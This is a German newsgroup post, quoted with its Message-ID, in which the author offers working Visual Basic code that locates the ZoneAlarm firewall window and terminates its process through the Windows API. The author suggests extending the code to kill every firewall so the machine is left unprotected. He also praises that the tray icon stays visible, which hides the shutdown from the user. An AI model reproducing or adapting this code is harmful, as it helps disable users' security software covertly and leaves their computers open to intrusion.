Bsp.: Message-ID <3B3B7A4E.C2EF27C4@hrz.tu-chemnitz.de>, Zitat:

Och, das mit dem Fragen ob der Firewall geschlossen werden
darf ist überhaupt kein Problem! Wenn ihr den Task mit
TerminateProcess beendet, macht der kein Mucks mehr.
Der Beispielcode beendet ZoneAlarm auf jedem Rechner kurz
und schmerzlos.

Code (Visual Basic):

Option Explicit

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
                    ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Const PROCESS_TERMINATE = &H1


Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
                    ByVal lpClassName As String, ByVal lpWindowName As String) As Long



Private Sub Close_ZoneAlarm()
   Dim xhwnd As Long
   Dim pwid As Long
   xhwnd = FindWindow(vbNullString, "ZoneAlarm")
   GetWindowThreadProcessId xhwnd, pwid
    
   Dim Task As Long, result As Long
   Task = OpenProcess(PROCESS_TERMINATE, 0&, pwid)
   TerminateProcess Task, 1&

   CloseHandle Task
End Sub

Jetzt den Titel des Fenster jedes Firewalls herausfinden, den Code umschreiben dass er alle durchgeht, und der PC ist Firewallfrei.

mfg Moskito

PS: Etwas gutes ist, dass das Icon im Systemstray noch erhalten
bleibt solange der User nicht mit der Maus darüberfährt.

Zitatende...